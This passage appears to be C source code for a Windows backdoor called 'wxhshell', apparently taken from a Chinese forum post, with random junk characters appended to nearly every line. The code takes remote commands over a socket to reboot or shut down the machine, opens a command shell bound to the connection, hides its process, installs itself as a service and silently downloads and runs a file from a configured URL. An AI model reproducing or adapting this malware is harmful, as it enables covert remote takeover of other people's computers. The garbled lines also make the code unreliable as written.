  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dUa>XkPa\2  
  } Ph P)|P  
  else { ~4+Y BN  
'sI ne>  
    switch(cmd[0]) { 8WV5'cX  
  L[2N zw O  
  // 帮助 w` +,  
  case '?': { +H&/C1u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [c=W p  
    break; c!\T 0XtT  
  } 3?j: M]fR  
  // 安装 a%c <3'  
  case 'i': { ^^}htg  
    if(Install()) 7NRa&W2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zocuc"j  
    else XFoSGqD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J\+fkN<.  
    break; h^rG5Q  
    } @cIYS%iZ  
  // 卸载 NB<8M!X/  
  case 'r': { bxYSZCo*  
    if(Uninstall()) mQ1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TXM/+sd  
    else H^kOwmSzh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O$,  
    break; X[h{g`  
    } })] iN "  
  // 显示 wxhshell 所在路径 g5+m]3#t  
  case 'p': { +i}H $.  
    char svExeFile[MAX_PATH]; e~ OrZhJ=_  
    strcpy(svExeFile,"\n\r"); fLs>|Rh  
      strcat(svExeFile,ExeFile); ]*zG*.C  
        send(wsh,svExeFile,strlen(svExeFile),0); Pteti  
    break; sT1k]duT  
    } ;R0LJApey  
  // 重启 B ZU@W%E  
  case 'b': { +)yoQRekX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [nHN@ p|  
    if(Boot(REBOOT)) v\bWQs1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); axmq/8X  
    else { l4T[x|')M  
    closesocket(wsh); `#iL'ND[  
    ExitThread(0); `=pA;R9  
    } rNhS\1-  
    break; rF[-4t %  
    } c*\i%I#f2  
  // 关机 j7E;\AZ^  
  case 'd': { vKW!;U9~P  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k(Xs&f `  
    if(Boot(SHUTDOWN)) ^|oI^"I Q=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); afHRy:<+%  
    else { bK}ZR*)  
    closesocket(wsh); ;B |  
    ExitThread(0); X,+a 6F  
    } qQ]fM$!  
    break; tYTl-c  
    } Hc8^w6S1@  
  // 获取shell D8! Y0  
  case 's': { R%r25_8  
    CmdShell(wsh); yz0#0YG7  
    closesocket(wsh); g]h@U&`~u_  
    ExitThread(0); pvl];w  
    break; eXsp0!v  
  } ~rI2 RJ  
  // 退出 6wpu[  
  case 'x': { 8h)7K/!\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mI<sf?.  
    CloseIt(wsh); Xk!{UxQKQ  
    break; 0x5\{f  
    } <WWZb\"{  
  // 离开 %h0BA.r  
  case 'q': { QsKnaRT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {~]5QKg.  
    closesocket(wsh); l #C<bDw  
    WSACleanup(); 1F>8#+B/W  
    exit(1); jQ7;-9/~N  
    break; e~*tQ4  
        } n&&C(#mBC  
  } =?4[:#Rh  
  } ]O:u9If  
}s?w-u+(c6  
  // 提示信息 ?/T=G k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a{e 2*V  
} Ar~<l2,{r  
  } d]K8*a%[-  
,Gbc4x  
  return; Ha]vG@?+  
} 416}# Mk  
Pbbi*&i  
// shell模块句柄 =3% GLj  
int CmdShell(SOCKET sock) 3%Q<K=jy  
{ R f)|p;  
STARTUPINFO si; XySkm2y  
ZeroMemory(&si,sizeof(si)); f'"PQr^9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /T  {R\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~C>;0a;<:  
PROCESS_INFORMATION ProcessInfo; `K@N\VM  
char cmdline[]="cmd"; lxZ9y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {4SaS v^/  
  return 0; z^*g 2J,  
} @N[<<k7g  
-#;ZZ \fdj  
// 自身启动模式 %L)QTv/  
int StartFromService(void) BE&8E\w  
{ *1-0s*T  
typedef struct HD{u#~8{  
{ 3&E@#I^] ,  
  DWORD ExitStatus; IDF0nx]  
  DWORD PebBaseAddress; E0HE@pqr  
  DWORD AffinityMask; LZG(T$dI  
  DWORD BasePriority; <2 kv/  
  ULONG UniqueProcessId; O5:U2o-  
  ULONG InheritedFromUniqueProcessId; 'S74Ys=-0  
}   PROCESS_BASIC_INFORMATION; Nf* .r  
D|$0~1y  
PROCNTQSIP NtQueryInformationProcess; ;H8`^;  
DfGq m-c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oPBKPGD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w AdaP9h  
N`,,sw  
  HANDLE             hProcess; w(S&X"~  
  PROCESS_BASIC_INFORMATION pbi; `'r~3kP*NT  
1x/R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8kd):gZKZ  
  if(NULL == hInst ) return 0; HnFH|H<Uf  
QA~F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sAA;d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $z)egh(z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >(YH@Z&;  
t]vv&vk>  
  if (!NtQueryInformationProcess) return 0; o*d(;  
+7lr#AvU/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N|"q6M !ZL  
  if(!hProcess) return 0; gyy}-^`F  
9' H\-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W:WRG8(F  
3 %r*~#nz  
  CloseHandle(hProcess); 45Zh8k  
o&k,aCQC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *yZta:(w-W  
if(hProcess==NULL) return 0; >}0H5Q8@  
pwSkwJ]  
HMODULE hMod; {#@[ttw$U  
char procName[255]; ~z41$~/  
unsigned long cbNeeded; 1S+T:n  
rK;<-RE<[:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I_?R(V[9  
p}I\H ^"8+  
  CloseHandle(hProcess); (?7}\B\  
 -y_q  
if(strstr(procName,"services")) return 1; // 以服务启动 6r%i=z  
3*7klu  
  return 0; // 注册表启动 e8_EB/)_Z  
} M $EHx[*5  
HpeU'0u0VK  
// 主模块 .A/xH x  
int StartWxhshell(LPSTR lpCmdLine) 8{icY|:MTN  
{ .DnG}884  
  SOCKET wsl;  cFjD*r-  
BOOL val=TRUE; zw5Ol%JF  
  int port=0; A'u]z\&%c  
  struct sockaddr_in door; [z_z tK1  
!)J$f _88D  
  if(wscfg.ws_autoins) Install(); )"tM[~e`  
2}.~ 6EU/  
port=atoi(lpCmdLine); PbxQ \.  
- ?  i  
if(port<=0) port=wscfg.ws_port; z~2;u 5S&  
S;#7B?j  
  WSADATA data; !-SI &qy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?caHS2%?ae  
_x$Eq: i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6I _4{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l8%BRG  
  door.sin_family = AF_INET;  0,#n_"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a>Aq/=  
  door.sin_port = htons(port); weGsjy(b]N  
;3Z?MQe"NQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^x( s !4d]  
closesocket(wsl); B'y)bY'_dS  
return 1; :UKc:JVNM  
} 6RSit  
ZRr.kN+F  
  if(listen(wsl,2) == INVALID_SOCKET) { ]haQ#e}WH  
closesocket(wsl); '['x'G50  
return 1; g>b{hkIXg  
} Az?^4 1r8  
  Wxhshell(wsl); VS~+W=5}  
  WSACleanup(); ~Kt+j  
66MUrNW  
return 0; PCH$)F4^  
CqX*.j{  
} m("KLp8  
9*!*n ~  
// 以NT服务方式启动 04Uyr;y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -\Z`+kY?p  
{ c4Q%MRR  
DWORD   status = 0; X VH( zJ  
  DWORD   specificError = 0xfffffff; FId,/la  
NJ$Qm.S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f& Sovuuh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #z*,-EV|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Efpj u(   
  serviceStatus.dwWin32ExitCode     = 0; an Kflt3  
  serviceStatus.dwServiceSpecificExitCode = 0; ?ZhBS3L  
  serviceStatus.dwCheckPoint       = 0; TOvsW<cM  
  serviceStatus.dwWaitHint       = 0; nF,zWr[x  
Z#kB+.U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G;pc,\MF  
  if (hServiceStatusHandle==0) return; PVQn$-aq1  
EyV5FWb58  
status = GetLastError(); &-vHb   
  if (status!=NO_ERROR) }4,[oD  
{ zSOZr2- ^a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?;_Mxal'  
    serviceStatus.dwCheckPoint       = 0; +QSH*(,  
    serviceStatus.dwWaitHint       = 0; :hf%6N='kI  
    serviceStatus.dwWin32ExitCode     = status; x97L>>|  
    serviceStatus.dwServiceSpecificExitCode = specificError; W:}t%agis  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ATV|M[B  
    return; &!+1GI9z  
  } <)L[V  
'RQEktm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &EC8{.7  
  serviceStatus.dwCheckPoint       = 0; 4~vn%O6n  
  serviceStatus.dwWaitHint       = 0; *m'&<pg]X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?|Wxqo  
} 95/;II  
A=D G+z''  
// 处理NT服务事件,比如:启动、停止 SK@lr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }n,LvA@[0  
{ 1 :{+{Yl7  
switch(fdwControl) W6u(+P]("  
{ zvv/|z2(r  
case SERVICE_CONTROL_STOP: aCfWbJ@qiG  
  serviceStatus.dwWin32ExitCode = 0; (r1"!~d@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SEM- t   
  serviceStatus.dwCheckPoint   = 0; Pn ?gB}l  
  serviceStatus.dwWaitHint     = 0; }JUc!cH8z  
  { ,OkI0[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GN+,9  
  } n (Um/  
  return; A#F6~QX(.9  
case SERVICE_CONTROL_PAUSE: u3jLe=Y'\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !G'wC0  
  break; & }_tALg  
case SERVICE_CONTROL_CONTINUE: )~w bu2;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )L"J?wTe  
  break; qE6D"+1y7  
case SERVICE_CONTROL_INTERROGATE: cNy*< Tv  
  break; W$gjcsv  
}; (|tR>R.Wxg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sv!6z Js  
} [|C  
rF/<}ye/4M  
// 标准应用程序主函数 &mba{O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |Fx~M,Pzg  
{ PaDm"+H@  
W7\UZPs5t  
// 获取操作系统版本 a{.-qp  
OsIsNt=GetOsVer(); }C JK9*Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "2"2qZ*h}  
8&7zV:=  
  // 从命令行安装 AbX#wpp!  
  if(strpbrk(lpCmdLine,"iI")) Install();  "'Q~&B;@  
+4[Je$qYa  
  // 下载执行文件 0.U- tg0  
if(wscfg.ws_downexe) { dZC jg0cx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iW[%|ddk  
  WinExec(wscfg.ws_filenam,SW_HIDE); _6aI>b#yL  
} ?nM]eUAP  
+rDKx(Rk  
if(!OsIsNt) { 2FN#63  
// 如果时win9x,隐藏进程并且设置为注册表启动 - G=doP0  
HideProc(); @Fb 2c0?Y  
StartWxhshell(lpCmdLine); ;"NW= P&  
} |tFg9RT  
else cfc=a  
  if(StartFromService()) ypTH=]y  
  // 以服务方式启动 Rvj[Csgi  
  StartServiceCtrlDispatcher(DispatchTable); T7(U6yN  
else 0.^67'  
  // 普通方式启动 aOmQ<N]a  
  StartWxhshell(lpCmdLine); ^W0eRT  
XU`vs`/   
return 0; "OrF81  
}
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只看该作者 1 发表于: 2006-10-10
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